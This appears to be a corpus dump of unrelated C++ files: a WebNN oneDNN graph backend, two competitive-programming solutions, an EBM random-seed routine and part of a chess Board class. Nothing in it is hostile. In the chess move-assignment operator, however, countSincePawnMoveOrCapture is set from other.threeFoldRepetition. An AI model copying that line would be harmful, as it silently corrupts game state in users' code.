DNNL_TRY(dnnl_memory_desc_init_by_tag(&transposeOutputMemoryDesc,
finalOutputDims.size(), finalOutputDims.data(),
dataType, dnnl_nchw));
mMemoryReinterprets.insert(
std::make_pair(finalOutputMemory, transposeOutputMemoryDesc));
} else {
mOperandMemoryMap.insert(std::make_pair(output, outputMemory));
}
return dnnl_success;
}
MaybeError Graph::AddPool2d(const op::Pool2d* pool2d) {
mOperandsToBuild.push_back({POOL2D, pool2d});
return {};
}
dnnl_status_t Graph::AddPool2dImpl(const op::Pool2d* pool2d) {
DAWN_ASSERT(pool2d->Inputs().size() == 1);
const OperandBase* inputOperand = pool2d->Inputs()[0].Get();
DAWN_ASSERT(mOperandMemoryMap.find(inputOperand) != mOperandMemoryMap.end());
dnnl_memory_t inputMemory = mOperandMemoryMap.at(inputOperand);
const dnnl_memory_desc_t* inputMemoryDesc;
DNNL_TRY(GetMemoryDesc(inputMemory, &inputMemoryDesc));
std::vector<dnnl_dim_t> inputDims(inputMemoryDesc->dims,
inputMemoryDesc->dims + inputMemoryDesc->ndims);
dnnl_data_type_t dataType = inputMemoryDesc->data_type;
const Pool2dOptions* options = pool2d->GetOptions();
if (options->layout != ml::InputOperandLayout::Nchw) {
// FIXME(nhu): implement the nhwc layout.
return dnnl_unimplemented;
}
std::vector<dnnl_dim_t> kernel;
if (options->windowDimensions != nullptr) {
kernel = {options->windowDimensions[0], options->windowDimensions[1]};
} else {
kernel = {inputDims[2], inputDims[3]};
}
std::vector<dnnl_dim_t> strides = {options->strides[0], options->strides[1]};
// Non-dilated convolution is defined by setting the dilation parameters to 0
std::vector<dnnl_dim_t> dilates = {options->dilations[0] == 1 ? 0 : options->dilations[0],
options->dilations[1] == 1 ? 0 : options->dilations[1]};
std::vector<dnnl_dim_t> padding_l = {options->padding[0], options->padding[2]};
std::vector<dnnl_dim_t> padding_r = {options->padding[1], options->padding[3]};
std::vector<dnnl_dim_t> outputDims(4);
outputDims[0] = inputDims[0];
// Assume input layout is oihw
outputDims[1] = inputDims[1];
for (int i = 2; i < 4; ++i) {
int src = inputDims[i];
int ker = kernel[i - 2];
int dil = dilates[i - 2];
int pad_l = padding_l[i - 2];
int pad_r = padding_r[i - 2];
int str = strides[i - 2];
int ker_range = 1 + (ker - 1) * (dil + 1);
outputDims[i] = (src - ker_range + pad_l + pad_r) / str + 1;
}
dnnl_memory_desc_t outputInitDesc;
DNNL_TRY(dnnl_memory_desc_init_by_tag(&outputInitDesc, outputDims.size(), outputDims.data(),
dataType, dnnl_format_tag_any));
dnnl_alg_kind_t poolType;
if (pool2d->GetType() == op::Pool2dType::kAveragePool2d) {
poolType = dnnl_pooling_avg;
} else if (pool2d->GetType() == op::Pool2dType::kMaxPool2d) {
poolType = dnnl_pooling_max;
} else {
return dnnl_invalid_arguments;
}
dnnl_pooling_v2_desc_t poolDesc;
DNNL_TRY(dnnl_pooling_v2_forward_desc_init(
&poolDesc, dnnl_forward, poolType, inputMemoryDesc, &outputInitDesc, strides.data(),
kernel.data(), dilates.data(), padding_l.data(), padding_r.data()));
dnnl_primitive_desc_t primitiveDesc;
DNNL_TRY(dnnl_primitive_desc_create(&primitiveDesc, &poolDesc, NULL, GetEngine(), NULL));
const dnnl_memory_desc_t* outputMemoryDesc =
dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_dst_md, 0);
dnnl_memory_t outputMemory;
DNNL_TRY(
dnnl_memory_create(&outputMemory, outputMemoryDesc, GetEngine(), DNNL_MEMORY_ALLOCATE));
dnnl_primitive_t primitive;
DNNL_TRY(dnnl_primitive_create(&primitive, primitiveDesc));
std::vector<dnnl_exec_arg_t> args = {{DNNL_ARG_SRC, inputMemory},
{DNNL_ARG_DST, outputMemory}};
if (poolType == dnnl_pooling_max) {
const dnnl_memory_desc_t* workspaceMemoryDesc =
dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_workspace_md, 0);
dnnl_memory_t workspaceMemory;
DNNL_TRY(dnnl_memory_create(&workspaceMemory, workspaceMemoryDesc, GetEngine(),
DNNL_MEMORY_ALLOCATE));
args.push_back({DNNL_ARG_WORKSPACE, workspaceMemory});
mMemories.push_back(workspaceMemory);
}
DNNL_TRY(dnnl_primitive_desc_destroy(primitiveDesc));
mOperations.push_back({primitive, args});
mMemories.push_back(outputMemory);
mOperandMemoryMap.insert(std::make_pair(pool2d->PrimaryOutput(), outputMemory));
return dnnl_success;
}
MaybeError Graph::AddUnary(const op::Unary* unary) {
mOperandsToBuild.push_back({OperatorType::UNARY, unary});
return {};
}
dnnl_status_t Graph::AddUnaryImpl(const op::Unary* unary) {
DAWN_ASSERT(unary->Inputs().size() == 1);
const OperandBase* inputOperand = unary->Inputs()[0].Get();
DAWN_ASSERT(mOperandMemoryMap.find(inputOperand) != mOperandMemoryMap.end());
dnnl_memory_t inputMemory = mOperandMemoryMap.at(inputOperand);
const dnnl_memory_desc_t* inputMemoryDesc;
DNNL_TRY(GetMemoryDesc(inputMemory, &inputMemoryDesc));
dnnl_primitive_desc_t primitiveDesc;
dnnl_primitive_t primitive;
dnnl_memory_t outputMemory;
if (unary->GetType() == op::UnaryOpType::kRelu) {
dnnl_eltwise_desc_t eltWiseDesc;
DNNL_TRY(dnnl_eltwise_forward_desc_init(&eltWiseDesc, dnnl_forward, dnnl_eltwise_relu,
inputMemoryDesc, 0, 0));
DNNL_TRY(dnnl_primitive_desc_create(&primitiveDesc, &eltWiseDesc, nullptr, GetEngine(),
nullptr));
} else if (unary->GetType() == op::UnaryOpType::kSoftmax) {
dnnl_softmax_desc_t softmaxDesc;
DNNL_TRY(
dnnl_softmax_forward_desc_init(&softmaxDesc, dnnl_forward, inputMemoryDesc, 1));
DNNL_TRY(dnnl_primitive_desc_create(&primitiveDesc, &softmaxDesc, nullptr, GetEngine(),
nullptr));
} else {
return dnnl_unimplemented;
}
const dnnl_memory_desc_t* outputMemoryDesc =
dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_dst_md, 0);
DNNL_TRY(
dnnl_memory_create(&outputMemory, outputMemoryDesc, GetEngine(), DNNL_MEMORY_ALLOCATE));
DNNL_TRY(dnnl_primitive_create(&primitive, primitiveDesc));
DNNL_TRY(dnnl_primitive_desc_destroy(primitiveDesc));
mOperations.push_back(
{primitive, {{DNNL_ARG_SRC, inputMemory}, {DNNL_ARG_DST, outputMemory}}});
mMemories.push_back(outputMemory);
mOperandMemoryMap.insert(std::make_pair(unary->PrimaryOutput(), outputMemory));
return dnnl_success;
}
MaybeError Graph::AddClamp(const op::Clamp* clamp) {
mOperandsToBuild.push_back({OperatorType::CLAMP, clamp});
return {};
}
dnnl_status_t Graph::AddClampImpl(const op::Clamp* clamp) {
auto inputsOperand = clamp->Inputs();
DAWN_ASSERT(inputsOperand.size() == 1);
const OperandBase* inputOperand = inputsOperand[0].Get();
DAWN_ASSERT(mOperandMemoryMap.find(inputOperand) != mOperandMemoryMap.end());
dnnl_memory_t inputMemory = mOperandMemoryMap.at(inputOperand);
const dnnl_memory_desc_t* inputMemoryDesc;
DNNL_TRY(GetMemoryDesc(inputMemory, &inputMemoryDesc));
std::vector<dnnl_dim_t> inputDims(inputMemoryDesc->dims,
inputMemoryDesc->dims + inputMemoryDesc->ndims);
dnnl_primitive_desc_t primitiveDesc;
dnnl_primitive_t primitive;
dnnl_memory_t outputMemory;
dnnl_eltwise_desc_t eltWiseDesc;
DNNL_TRY(dnnl_eltwise_forward_desc_init(&eltWiseDesc, dnnl_forward, dnnl_eltwise_clip,
inputMemoryDesc, clamp->GetMinValue(),
clamp->GetMaxValue()));
DNNL_TRY(dnnl_primitive_desc_create(&primitiveDesc, &eltWiseDesc, nullptr, GetEngine(),
nullptr));
const dnnl_memory_desc_t* outputMemoryDesc =
dnnl_primitive_desc_query_md(primitiveDesc, dnnl_query_dst_md, 0);
DNNL_TRY(
dnnl_memory_create(&outputMemory, outputMemoryDesc, GetEngine(), DNNL_MEMORY_ALLOCATE));
DNNL_TRY(dnnl_primitive_create(&primitive, primitiveDesc));
DNNL_TRY(dnnl_primitive_desc_destroy(primitiveDesc));
mOperations.push_back(
{primitive, {{DNNL_ARG_SRC, inputMemory}, {DNNL_ARG_DST, outputMemory}}});
mMemories.push_back(outputMemory);
mOperandMemoryMap.insert(std::make_pair(clamp->PrimaryOutput(), outputMemory));
return dnnl_success;
}
MaybeError Graph::Finish() {
return {};
}
MaybeError Graph::CompileImpl() {
DAWN_TRY(dnnl_stream_create(&mStream, GetEngine(), dnnl_stream_default_flags));
return {};
}
MLComputeGraphStatus Graph::ComputeImpl(NamedInputsBase* inputs, NamedOutputsBase* outputs) {
for (auto& input : inputs->GetRecords()) {
dnnl_memory_t inputMemory = mInputMemoryMap.at(input.first);
COMPUTE_TRY(
dnnl_memory_set_data_handle_v2(inputMemory,
static_cast<int8_t*>(input.second->resource.buffer) +
input.second->resource.byteOffset,
mStream));
}
for (auto op : mOperations) {
COMPUTE_TRY(
dnnl_primitive_execute(op.primitive, mStream, op.args.size(), op.args.data()));
}
COMPUTE_TRY(dnnl_stream_wait(mStream));
std::vector<std::string> outputNames;
for (auto& output : outputs->GetRecords()) {
outputNames.push_back(output.first);
}
for (size_t i = 0; i < outputNames.size(); ++i) {
std::string outputName = outputNames[i];
dnnl_memory_t outputMemory = mOutputMemoryMap.at(outputName);
const dnnl_memory_desc_t* outputMemoryDesc;
COMPUTE_TRY(GetMemoryDesc(outputMemory, &outputMemoryDesc));
size_t bufferLength = dnnl_memory_desc_get_size(outputMemoryDesc);
void* outputBuffer = malloc(bufferLength);
COMPUTE_TRY(ReadFromMemory(outputBuffer, bufferLength, outputMemory));
const ArrayBufferView* output = outputs->GetRecords().at(outputName);
if (output->byteLength >= bufferLength) {
memcpy(static_cast<int8_t*>(output->buffer) + output->byteOffset, outputBuffer,
bufferLength);
}
}
return MLComputeGraphStatus_Success;
}
dnnl_engine_t Graph::GetEngine() {
return reinterpret_cast<Context*>(GetContext())->GetEngine();
}
dnnl_status_t Graph::GetMemoryDesc(dnnl_memory_t memory, const dnnl_memory_desc_t** desc) {
if (mMemoryReinterprets.find(memory) != mMemoryReinterprets.end()) {
*desc = &mMemoryReinterprets.at(memory);
} else {
DNNL_TRY(dnnl_memory_get_memory_desc(memory, desc));
}
return dnnl_success;
}
dnnl_status_t Graph::ReorderIfNeeded(const dnnl_memory_desc_t* srcDesc,
dnnl_memory_t srcMem,
const dnnl_memory_desc_t* dstDesc,
dnnl_memory_t* userDstMem) {
if (!dnnl_memory_desc_equal(srcDesc, dstDesc)) {
dnnl_memory_t dstMem;
DNNL_TRY(dnnl_memory_create(&dstMem, dstDesc, GetEngine(), DNNL_MEMORY_ALLOCATE));
dnnl_primitive_desc_t reorderDesc;
DNNL_TRY(dnnl_reorder_primitive_desc_create(&reorderDesc, srcDesc, GetEngine(), dstDesc,
GetEngine(), NULL));
dnnl_primitive_t reorder;
DNNL_TRY(dnnl_primitive_create(&reorder, reorderDesc));
DNNL_TRY(dnnl_primitive_desc_destroy(reorderDesc));
std::vector<dnnl_exec_arg_t> args = {{DNNL_ARG_SRC, srcMem}, {DNNL_ARG_DST, dstMem}};
if (mConstantMemories.find(srcMem) != mConstantMemories.end()) {
dnnl_stream_t stream;
DNNL_TRY(dnnl_stream_create(&stream, GetEngine(), dnnl_stream_default_flags));
DNNL_TRY(dnnl_primitive_execute(reorder, stream, args.size(), args.data()));
DNNL_TRY(dnnl_primitive_destroy(reorder));
} else {
mOperations.push_back({reorder, args});
}
mMemories.push_back(dstMem);
if (userDstMem != nullptr) {
*userDstMem = dstMem;
}
} else {
if (userDstMem != nullptr) {
*userDstMem = srcMem;
}
}
return dnnl_success;
}
dnnl_status_t Graph::ReorderToPlainFormat(dnnl_memory_t srcMem, dnnl_memory_t* dstMem) {
const dnnl_memory_desc_t* srcDesc;
DNNL_TRY(GetMemoryDesc(srcMem, &srcDesc));
std::vector<int32_t> dimensions(srcDesc->dims, srcDesc->dims + srcDesc->ndims);
std::vector<dnnl_dim_t> dims;
dnnl_format_tag_t tag;
DNNL_TRY(GetDnnlDimsAndFormartTag(dimensions.data(), dimensions.size(), dims, tag));
dnnl_memory_desc_t plainDesc;
DNNL_TRY(dnnl_memory_desc_init_by_tag(&plainDesc, dims.size(), dims.data(),
srcDesc->data_type, tag));
DNNL_TRY(ReorderIfNeeded(srcDesc, srcMem, &plainDesc, dstMem));
return dnnl_success;
}
}} // namespace webnn_native::onednn
| 53,797 | 16,792 |
#include <bits/stdc++.h>
using namespace std;
string ltrim(const string &);
string rtrim(const string &);
vector<string> split(const string &);
/*
* Complete the 'diagonalDifference' function below.
*
* The function is expected to return an INTEGER.
* The function accepts 2D_INTEGER_ARRAY arr as parameter.
*/
int diagonalDifference(vector<vector<int>> arr,int n) {
//sum
int sum1=0;
int sum2=0;
//make a pattern to sum the number from left diagonal
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
if(i==j){
sum1=arr[i][j]+sum1;
}
}
}
//make a pattern to sum the number from right diagonal
int r=n-1;
for (int i =0; i <n; i++) {
sum2=arr[i][r]+sum2;
r--;
}
int total=abs(sum1-sum2);
return total;
}
int main()
{
ofstream fout(getenv("OUTPUT_PATH"));
string n_temp;
getline(cin, n_temp);
int n = stoi(ltrim(rtrim(n_temp)));
//initialize the array
vector<vector<int>> arr(n);
for (int i = 0; i < n; i++) {
arr[i].resize(n);
string arr_row_temp_temp;
getline(cin, arr_row_temp_temp);
vector<string> arr_row_temp = split(rtrim(arr_row_temp_temp));
for (int j = 0; j < n; j++) {
int arr_row_item = stoi(arr_row_temp[j]);
arr[i][j] = arr_row_item;
}
}
int result = diagonalDifference(arr,n);
fout << result << "\n";
fout.close();
return 0;
}
string ltrim(const string &str) {
string s(str);
s.erase(
s.begin(),
find_if(s.begin(), s.end(), not1(ptr_fun<int, int>(isspace)))
);
return s;
}
string rtrim(const string &str) {
string s(str);
s.erase(
find_if(s.rbegin(), s.rend(), not1(ptr_fun<int, int>(isspace))).base(),
s.end()
);
return s;
}
vector<string> split(const string &str) {
vector<string> tokens;
string::size_type start = 0;
string::size_type end = 0;
while ((end = str.find(" ", start)) != string::npos) {
tokens.push_back(str.substr(start, end - start));
start = end + 1;
}
tokens.push_back(str.substr(start));
return tokens;
}
| 2,217 | 832 |
#include <iostream>
#include <string>
void answer(const std::string& v)
{
std::cout << v << '\n';
}
void solve(std::string& a)
{
const size_t n = a.length();
size_t i = 0;
while (i < n && a[i] == '1')
++i;
if (i == n)
a.pop_back();
else
a.erase(i, 1);
answer(a);
}
int main()
{
std::string a;
std::cin >> a;
solve(a);
return 0;
}
| 407 | 177 |
// Copyright (c) 2018 Microsoft Corporation
// Licensed under the MIT license.
// Author: Paul Koch <code@koch.ninja>
#include "PrecompiledHeader.h"
#include "ebm_native.h" // IntEbmType
#include "EbmInternal.h" // INLINE_ALWAYS
#include "RandomStream.h"
// I generated these as purely random numbers from 0 to 2^64-1
static constexpr uint_fast64_t k_oneTimePadRandomSeed[64] {
uint_fast64_t { 12108613678499979739U },
uint_fast64_t { 8329435972752283296U },
uint_fast64_t { 17571318292481228596U },
uint_fast64_t { 8474109262332614363U },
uint_fast64_t { 4596191631384569752U },
uint_fast64_t { 5510915809971989025U },
uint_fast64_t { 14720389497105379764U },
uint_fast64_t { 14047171488222988787U },
uint_fast64_t { 7736215019039428969U },
uint_fast64_t { 8387470286819184488U }, // 10
uint_fast64_t { 1272264876990534779U },
uint_fast64_t { 6473674570481891879U },
uint_fast64_t { 13907100008306791022U },
uint_fast64_t { 12570840646885693808U },
uint_fast64_t { 1295043964959849187U },
uint_fast64_t { 6044489878752700404U },
uint_fast64_t { 3043658277907488966U },
uint_fast64_t { 14272464241729578605U },
uint_fast64_t { 6450652935688055649U },
uint_fast64_t { 1122646225207300450U }, // 20
uint_fast64_t { 9680697536788401020U },
uint_fast64_t { 14714112283214792619U },
uint_fast64_t { 17000224091575576715U },
uint_fast64_t { 14555454069625694159U },
uint_fast64_t { 12133150780644733129U },
uint_fast64_t { 15142044263353770020U },
uint_fast64_t { 17374501799890097513U },
uint_fast64_t { 587457683945871661U },
uint_fast64_t { 9480109921896005794U },
uint_fast64_t { 6202971064614006615U }, // 30
uint_fast64_t { 8953539312749291378U },
uint_fast64_t { 12924949407597356887U },
uint_fast64_t { 2067650231428397037U },
uint_fast64_t { 1104555401015663230U },
uint_fast64_t { 6991116900072783160U },
uint_fast64_t { 6876003810322139051U },
uint_fast64_t { 14819303631007586897U },
uint_fast64_t { 443649666753471969U },
uint_fast64_t { 8852906418479390231U },
uint_fast64_t { 16161542782915048273U }, // 40
uint_fast64_t { 4167557640904791684U },
uint_fast64_t { 13274255720658362279U },
uint_fast64_t { 17654070117302736271U },
uint_fast64_t { 2288656479984262408U },
uint_fast64_t { 3955707939175675669U },
uint_fast64_t { 966811535468564117U },
uint_fast64_t { 10689941274756927828U },
uint_fast64_t { 6900203119099125140U },
uint_fast64_t { 3852394839434217481U },
uint_fast64_t { 18083665370972184874U }, // 50
uint_fast64_t { 17516541138771931787U },
uint_fast64_t { 13183241652889971345U },
uint_fast64_t { 13330691503705237225U },
uint_fast64_t { 9615905893188178094U },
uint_fast64_t { 1892274982045638252U },
uint_fast64_t { 1429571804636752368U },
uint_fast64_t { 8292521317717755949U },
uint_fast64_t { 185343338715513721U },
uint_fast64_t { 16175019103330891636U },
uint_fast64_t { 8904867104718226249U }, // 60
uint_fast64_t { 15891920948755861285U },
uint_fast64_t { 2697603254172205724U },
uint_fast64_t { 10333533257119705764U },
uint_fast64_t { 8350484291935387907U } // 64
};
uint_fast64_t RandomStream::GetOneTimePadConversion(uint_fast64_t seed) {
static_assert(CountBitsRequiredPositiveMax<uint64_t>() ==
sizeof(k_oneTimePadRandomSeed) / sizeof(k_oneTimePadRandomSeed[0]),
"the one time pad must have the same length as the number of bits"
);
EBM_ASSERT(seed == static_cast<uint_fast64_t>(static_cast<uint64_t>(seed)));
// this number generates a perfectly valid converted seed in a single pass if the user passes us a seed of zero
uint_fast64_t result = uint_fast64_t { 0x6b79a38fd52c4e71 };
const uint_fast64_t * pRandom = k_oneTimePadRandomSeed;
do {
if(UNPREDICTABLE(0 != (uint_fast64_t { 1 } &seed))) {
result ^= *pRandom;
}
++pRandom;
seed >>= 1;
} while(LIKELY(0 != seed));
return result;
}
void RandomStream::Initialize(const uint64_t seed) {
constexpr uint_fast64_t initializeSeed = { 0xa75f138b4a162cfd };
m_state1 = initializeSeed;
m_state2 = initializeSeed;
m_stateSeedConst = initializeSeed;
uint_fast64_t originalRandomBits = GetOneTimePadConversion(static_cast<uint_fast64_t>(seed));
EBM_ASSERT(originalRandomBits == static_cast<uint_fast64_t>(static_cast<uint64_t>(originalRandomBits)));
uint_fast64_t randomBits = originalRandomBits;
// the lowest bit of our result needs to be 1 to make our number odd (per the paper)
uint_fast64_t sanitizedSeed = (uint_fast64_t { 0xF } & randomBits) | uint_fast64_t { 1 };
randomBits >>= 4; // remove the bits that we used
// disallow zeros for our hex digits by ORing 1
const uint_fast16_t disallowMapFuture = (uint_fast16_t { 1 } << sanitizedSeed) | uint_fast16_t { 1 };
// disallow zeros for our hex digits by initially setting to 1, which is our "hash" for the zero bit
uint_fast16_t disallowMap = uint_fast16_t { 1 };
uint_fast8_t bitShiftCur = uint_fast8_t { 60 };
while(true) {
// we ignore zeros, so use a do loop instead of while
do {
uint_fast64_t randomHexDigit = uint_fast64_t { 0xF } &randomBits;
const uint_fast16_t indexBit = uint_fast16_t { 1 } << randomHexDigit;
if(LIKELY(uint_fast16_t { 0 } == (indexBit & disallowMap))) {
sanitizedSeed |= randomHexDigit << bitShiftCur;
bitShiftCur -= uint_fast8_t { 4 };
if(UNLIKELY(uint_fast8_t { 0 } == bitShiftCur)) {
goto exit_loop;
}
disallowMap |= indexBit;
if(UNLIKELY(UNLIKELY(uint_fast8_t { 28 } == bitShiftCur) ||
UNLIKELY(uint_fast8_t { 24 } == bitShiftCur))) {
// if bitShiftCur is 28 now then we just filled the low 4 bits for the high 32 bit number,
// so for the upper 4 bits of the lower 32 bit number don't allow it to have the same
// value as the lowest 4 bits of the upper 32 bits, and don't allow 0 and don't allow
// the value at the bottom 4 bits
//
// if bitShiftCur is 28 then remove the disallowing of the lowest 4 bits of the upper 32 bit
// number by only disallowing the previous number we just included (the uppre 4 bits of the lower
// 32 bit value, and don't allow the lowest 4 bits, and don't allow 0.
disallowMap = indexBit | disallowMapFuture;
}
}
randomBits >>= 4;
} while(LIKELY(uint_fast64_t { 0 } != randomBits));
// ok, this is sort of a two time pad I guess, but we shouldn't ever use it more than twice in real life
originalRandomBits = GetOneTimePadConversion(originalRandomBits ^ Rand64());
randomBits = originalRandomBits;
}
exit_loop:;
// is the lowest bit set as it should?
EBM_ASSERT(uint_fast64_t { 1 } == sanitizedSeed % uint_fast64_t { 2 });
m_state1 = sanitizedSeed;
m_state2 = sanitizedSeed;
m_stateSeedConst = sanitizedSeed;
m_randomRemainingMax = uint_fast64_t { 0 };
m_randomRemaining = uint_fast64_t { 0 };
}
| 7,185 | 3,646 |
#include "Board.hpp"
#include "Zobrist.hpp"
#include "Rook.hpp"
#include "Bishop.hpp"
#include "Queen.hpp"
#include "Knight.hpp"
#include "King.hpp"
#include "Pawn.hpp"
#include <iostream>
#include <stdexcept>
#include <iomanip>
#include <sstream>
/// Defines the number of squares the king travels to castle.
int constexpr CASTLE_DISTANCE = 2;
/// Defines the horizontal printing space used for a square of the board.
int constexpr H_PRINT_SIZE = 15;
namespace Chess {
struct Board::PastMove {
PastMove(Board const& board,
Coordinates const& source,
Coordinates const& destination,
bool sourceMoved,
std::unique_ptr<Piece> removedPiece = nullptr):
PastMove(board, source, destination, sourceMoved,
std::move(removedPiece), destination) {}
PastMove(Board const& board,
Coordinates const& source,
Coordinates const& destination,
bool sourceMoved,
std::unique_ptr<Piece> capturedPiece,
Coordinates const& capturedCoords):
source(source),
destination(destination),
sourceMovedStatus(sourceMoved),
removedPieceCoords(capturedCoords),
removedPiece(std::move(capturedPiece)),
isWhiteTurn(board.isWhiteTurn),
promotionSource(board.promotionSource),
boardHashCount(board.boardHashCount),
countSincePawnMoveOrCapture(board.countSincePawnMoveOrCapture),
threeFoldRepetition(board.threeFoldRepetition),
insufficientMaterial(board.insufficientMaterial) {}
Coordinates source;
Coordinates destination;
bool sourceMovedStatus = false;
Coordinates removedPieceCoords;
std::unique_ptr<Piece> removedPiece = nullptr;
bool isWhiteTurn = false;
std::optional<Coordinates> promotionSource;
std::unordered_map<int, size_t> boardHashCount;
int countSincePawnMoveOrCapture = 0;
bool threeFoldRepetition = false;
std::unordered_set<std::reference_wrapper<Piece>,
PieceRefHasher> insufficientMaterial;
};
Coordinates Board::stringToCoordinates(std::string_view coord) {
if (coord.size() != 2) {
throw std::invalid_argument(std::string(coord) +
std::string(" is an invalid coordinate pair. Size must be 2"));
}
if (coord[0] < MIN_COLUMN || coord[0] > MAX_COLUMN) {
throw std::out_of_range(std::string(coord) +
std::string(" is an invalid coordinate pair. Column must be within ") +
MIN_COLUMN + std::string(" and ") + MAX_COLUMN);
}
if (coord[1] < MIN_ROW || coord[1] > MAX_ROW) {
throw std::out_of_range(std::string(coord) +
std::string(" is an invalid coordinate pair. Row must be within ") +
MIN_ROW + std::string(" and ") + MAX_ROW);
}
return Coordinates(static_cast<int>(coord[0] - MIN_COLUMN),
static_cast<int>(coord[1] - MIN_ROW));
}
std::string Board::coordinatesToString(Coordinates const& coord) {
if (coord.column > MAX_COL_NUM || coord.row > MAX_ROW_NUM ||
coord.column < 0 || coord.row < 0) {
throw std::out_of_range("Coordinates are beyond the board limits");
}
return std::string(1, static_cast<char>(coord.column + MIN_COLUMN)) +
std::string(1, static_cast<char>(coord.row + MIN_ROW));
}
bool Board::areWithinLimits(Coordinates const& coord) {
char row = static_cast<char>(coord.row) + MIN_ROW;
char col = static_cast<char>(coord.column) + MIN_COLUMN;
return (row >= MIN_ROW && row <= MAX_ROW &&
col >= MIN_COLUMN && col <= MAX_COLUMN);
}
bool Board::areInSameRow(Coordinates const& coord1,
Coordinates const& coord2) {
return (coord1.row == coord2.row);
}
bool Board::areInSameColumn(Coordinates const& coord1,
Coordinates const& coord2) {
return (coord1.column == coord2.column);
}
bool Board::areInSameDiagonal(Coordinates const& coord1,
Coordinates const& coord2) {
return (abs(coord1.column - coord2.column) == abs(coord1.row - coord2.row));
}
Colour Board::currentPlayer() const {
return isWhiteTurn ? Colour::White : Colour::Black;
}
bool Board::isGameOver() const {
return m_isGameOver;
}
Board::Board(): Board(std::make_unique<ZobristHasher>()) {}
Board::Board(std::unique_ptr<BoardHasher> hasher): hasher(std::move(hasher)) {
if (this->hasher == nullptr) {
throw std::invalid_argument("The board hasher cannot be null");
}
initializePiecesInStandardPos();
}
Board::Board(std::vector<Coordinates> const& whitePawns,
std::vector<Coordinates> const& whiteRooks,
std::vector<Coordinates> const& whiteKnights,
std::vector<Coordinates> const& whiteBishops,
std::vector<Coordinates> const& whiteQueens,
Coordinates const& whiteKing,
std::vector<Coordinates> const& blackPawns,
std::vector<Coordinates> const& blackRooks,
std::vector<Coordinates> const& blackKnights,
std::vector<Coordinates> const& blackBishops,
std::vector<Coordinates> const& blackQueens,
Coordinates const& blackKing):
hasher(std::make_unique<ZobristHasher>(whitePawns, whiteRooks,
whiteKnights, whiteBishops,
whiteQueens, whiteKing,
blackPawns, blackRooks,
blackKnights, blackBishops,
blackQueens, blackKing)) {
std::array<Colour, 2> colours = {Colour::White, Colour::Black};
for (auto const& colour : colours) {
initializePawns(colour == Colour::White ? whitePawns : blackPawns, colour);
initializeRooks(colour == Colour::White ? whiteRooks : blackRooks, colour);
initializeKnights(colour == Colour::White ? whiteKnights : blackKnights, colour);
initializeBishops(colour == Colour::White ? whiteBishops : blackBishops, colour);
initializeQueens(colour == Colour::White ? whiteQueens : blackQueens, colour);
initializeKing(colour == Colour::White ? whiteKing : blackKing, colour);
}
checkGameState();
}
Board::Board(Board&& other) noexcept {
operator=(std::move(other));
}
Board& Board::operator=(Board&& other) noexcept {
m_isGameOver = other.m_isGameOver;
isWhiteTurn = other.isWhiteTurn;
promotionSource = std::move(other.promotionSource);
board = std::move(other.board);
kings = std::move(other.kings);
hasher = std::move(other.hasher);
boardHashCount = std::move(other.boardHashCount);;
threeFoldRepetition = other.threeFoldRepetition;
countSincePawnMoveOrCapture = other.threeFoldRepetition;
insufficientMaterial = std::move(other.insufficientMaterial);
movesHistory = std::move(other.movesHistory);
for (auto& column: board) {
for (auto& piece: column) {
if (piece != nullptr) {
// assign existing pieces to the current Board object
piece->setBoard(*this);
}
}
}
for (auto& pastMove : movesHistory) {
if (pastMove.removedPiece) {
// assign removed pieces to the current Board object
pastMove.removedPiece->setBoard(*this);
}
}
return *this;
}
void Board::initializePawns(std::vector<Coordinates> const& coords,
Colour colour) {
initializePieces<Pawn>(coords, colour,
[&](Coordinates const& coord) {
auto& coords = (colour == Colour::White ? Pawn::WHITE_STD_INIT :
Pawn::BLACK_STD_INIT);
return std::find(coords.begin(), coords.end(), coord) != coords.end();
});
auto promotionRow = (colour == Colour::White) ? MAX_ROW_NUM : 0;
for (auto const& coord : coords) {
if (coord.row == promotionRow) {
if (promotionSource.has_value()) {
throw std::invalid_argument("Only one pawn can be positioned for "
"promotion in any given turn");
}
promotionSource = coord;
}
}
}
void Board::initializeRooks(std::vector<Coordinates> const& coords,
Colour colour) {
initializePieces<Rook>(coords, colour,
[&](Coordinates const& coord) {
auto& coords = (colour == Colour::White ? Rook::WHITE_STD_INIT :
Rook::BLACK_STD_INIT);
return std::find(coords.begin(), coords.end(), coord) != coords.end();
});
}
void Board::initializeKnights(std::vector<Coordinates> const& coords,
Colour colour) {
initializePieces<Knight>(coords, colour,
[&](Coordinates const& coord) {
auto& coords = (colour == Colour::White ? Knight::WHITE_STD_INIT :
Knight::BLACK_STD_INIT);
return std::find(coords.begin(), coords.end(), coord) != coords.end();
},
[this](auto& piece) { insufficientMaterial.emplace(piece); }
);
}
void Board::initializeBishops(std::vector<Coordinates> const& coords,
Colour colour) {
initializePieces<Bishop>(coords, colour,
[&](Coordinates const& coord) {
auto& coords = (colour == Colour::White ? Bishop::WHITE_STD_INIT :
Bishop::BLACK_STD_INIT);
return std::find(coords.begin(), coords.end(), coord) != coords.end();
},
[this](auto& piece) { insufficientMaterial.emplace(piece); }
);
}
void Board::initializeQueens(std::vector<Coordinates> const& coords,
Colour colour) {
initializePieces<Queen>(coords, colour,
[&](Coordinates const& coord) {
return coord == (colour == Colour::White ? Queen::WHITE_STD_INIT :
Queen::BLACK_STD_INIT);
});
}
void Board::initializeKing(Coordinates const& coords, Colour colour) {
initializePieces<King>({coords}, colour,
[&](Coordinates const& coord) {
return coord == (colour == Colour::White ? King::WHITE_STD_INIT :
King::BLACK_STD_INIT);
},
[&](King& king) {
insufficientMaterial.emplace(king);
kings.emplace(colour, king);
});
}
template <typename Chessman, typename Predicate>
void Board::initializePieces(std::vector<Coordinates> const& coords,
Colour colour,
Predicate&& isStandardStartingPos) {
initializePieces<Chessman>(coords, colour, isStandardStartingPos,
[](auto const&) {});
}
template <typename Chessman, typename Predicate, typename Callable>
void Board::initializePieces(std::vector<Coordinates> const& coords,
Colour colour,
Predicate&& isStandardStartingPos,
Callable&& finalActions) {
for (auto const& coord : coords) {
if (!areWithinLimits(coord)) {
throw std::invalid_argument("Coordinates go beyond the board limits");
}
if (at(coord) != nullptr) {
throw std::invalid_argument("Cannot initialize board with two or more"
" pieces in the same coordinates");
}
auto chessman = std::make_unique<Chessman>(colour, *this);
if (!isStandardStartingPos(coord)) {
chessman->setMovedStatus(true);
}
finalActions(*chessman);
board[coord.column][coord.row] = std::move(chessman);
}
}
